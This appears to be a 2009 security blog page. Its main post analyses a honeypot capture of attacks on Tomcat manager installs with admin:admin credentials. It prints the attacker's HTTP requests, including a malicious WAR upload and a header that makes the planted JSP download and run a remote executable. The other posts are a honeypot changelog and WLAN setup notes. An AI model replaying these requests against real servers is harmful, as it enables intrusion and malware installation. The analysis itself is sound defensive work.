Virus Blog

Weak Passwords with Tomcat Installations

— Posted by zeroq @ 20:35 - 29 Jul, 2009

We noticed strange HTTP scans in the Amun Honeypot vulnerabilities.log file recently. We run Amun with Webserver emulation in order to catch certain attacks. What we found here are scans for Tomcat installations with a weak password.

The request for Tomcat installations looks like this:

GET /manager/html HTTP/1.1
Referer: http://xxx.xxx.241.29:80/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)
Host: xxx.xxx.xxx.29:80
Connection: Close
Cache-Control: no-cache
Authorization: Basic YWRtaW46YWRtaW4=

The scans look for the manager application of Tomcat with the credentials set to admin:admin. Although Amun is not emulating this application, we could trigger the attack by just replying with 200 OK (standard HTTP). So, the next step in the attack we monitored is a POST request to the upload directory:

POST /manager/html/upload HTTP/1.0
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=---------------------------072709230333828
Content-Length: 2495
Host: xxx.xxx.241.29
Accept: text/html, */*
Accept-Language: zh-cn
Referer: http://xxx.xxx.241.29:8080/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Authorization: Basic YWRtaW46YWRtaW4=

-----------------------------072709230333828
Content-Disposition: form-data; name="deployWar"; filename="C:\\WINDOWS\\system32\\mui\\fexcep\\killfexcepshell.war"
Content-Type: application/x-zip-compressed
PK\x03\x04\x14\x00\x08\x00\x08\x003\x8cq:\x00
[...]

As we can see the attacker tries to upload a file named killfexcepshell.war to our honeypot. Amun does not recognize the attack, but it stores the hexdumps of unknown attack attempts to disk. We were therefore able to reconstruct the zip file from the hexdump. It extracts to the following files (directories):

WEB-INF
ok.jsp
META-INF
index.jsp

Unfortunately no further requests hit our honeypot, so we do not know what would have happened next. Googling for the filename however, revealed a blog entry, that is not reachable anymore. Google Cache is your friend, though.

According to their investigation after uploading the zip file, the attacker initiates a GET request to the following URL:

GET /killfexcepshell/index.jsp HTTP/1.1
Referer: http://x.x.x.x:8080/killfexcepshell/index.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; IE 7)
Host: x.x.x.x:8080
Connection: Close
Cache-Control: no-cache
Cache-Vip-Url:http://www.<hidden>.cn/tomcat.exe

The interesting part is the Cache-Vip-Url pointing to some executable file on a chinese webserver. So what does the index.jsp do. It rewrites the tomcat-users.xml file read the following:

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="tomcat"/>
<role rolename="role1" />
<role rolename="manager"/>
<role rolename="admin"/>
<user username="admin" password="<hidden>" roles="admin,manager"/>
</tomcat-users>

The other operation the index.jsp performs is to look for the above mentioned Cache-Vip-Url HTTP header field and tries to download and execute the file. In case the compromised system is not Windows, the script aborts. Unfortunately we do not have a working URL to download the binary and check what it does. According to the above mentioned blog entry, the malware is called PcClient, some kind of remote administration tool.

The ok.jsp file is just used to display the results of running the index.jsp. The funny thing about the index.jsp is, that it contains a routine to generate a random password to be inserted into the tomcat-users.xml file. However, the randomly generated password is never used, it is just returned to the attacker, but the xml file has a hardcoded password.



Amun v0.1.8

— Posted by zeroq @ 09:12 - 27 Jul, 2009

Although i was not able to finish everything i had planned for the new version, due to lack of time, i decided to release it anyway. So Amun v0.1.8 has a lot of fixes, modifications, and additional stuff. Feedback is always welcome. Documented changes are the following:

 Changes in v0.1.8:
        - added ulm shellcode handler
        - added bergheim shellcode handler
        - added langenfeld connectback2
        - added leimbach encoded tftp command detection
        - added pexalphanumeric b64encoded plain url detection
        - added new amun smb handler
        - fixed netdde vulnerability
        - fixed missing socket import for log-blastomat module
        - fixed reply function to send all bytes
        - fixed amun crash on already used port/address
        - fixed anubis submission module
        - fixed amun ftp NAT download
        - modified ftp_download_core to handle broken pipe on push command
        - modified vuln-http to serve images from folder
        - modified log-surfnet configuration to accept database port
        - modified vuln-arc to no reply
        - modified md5 to hashlib (deprecated warning)
        - modified popen2 to subprocess (deprecated warning)
        - removed conn= parameter prefix for asynchat.async_chat.__init__



Archlinux Atheros WLAN

— Posted by zeroq @ 08:37 - 24 Jul, 2009

For those of you struggling with the Atheros WLAN card and Archlinux distribution, i have a few hints.

The card i use shows up like this:
lspci | grep Atheros
01:0b.0 Network controller: Atheros Communications Inc. AR5008 Wireless Network Adapter (rev 01)

My current kernel version is 2.6.30. The software needed is wpa_supplicant. The most important thing is, make sure the athXk kernel module does not load (X is a number, currently its 9, and was 5 previously). To assure this modify your rc.conf and add MODULES=( ... !ath9k). The only modules that are loaded (lsmod | grep ath) are ath_pci, wlan, ath_rate_sample, and ath_hal. To check your setup use ifconfig -a, you should find a device called ath0. Bring it up using ifconfig ath0 up and do a iwlist ath0 scan to scan for accesspoints nearby. To connect to an accesspoint use iwconfig ath0 essid YourSSID and start your wpa_supplicant by issueing wpa_supplicant -B -iath0 -c/etc/wpa_supplicant.conf. If your accesspoint hands out IPs using dhcp use the command dhcpcd ath0 to get one.

An example of a wpa_supplicant.conf for a WPA secured network looks like follows:

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=wheel
eapol_version=1
ap_scan=1
fast_reauth=1
network={
ssid="YourSSID"
scan_ssid=1
proto=WPA
key_mgmt=WPA-PSK
psk="YourPassphrase(plain ASCII)"
auth_alg=OPEN
}

That is basically all you need to do. To automate the process at boot up, edit your rc.local and add the lines:

ifconfig ath0 up
iwconfig ath0 essid YourSSID
wpa_supplicant -B -iath0 -c/etc/wpa_supplicant.conf
dhcpcd ath0

That´s it.



Powered by kulando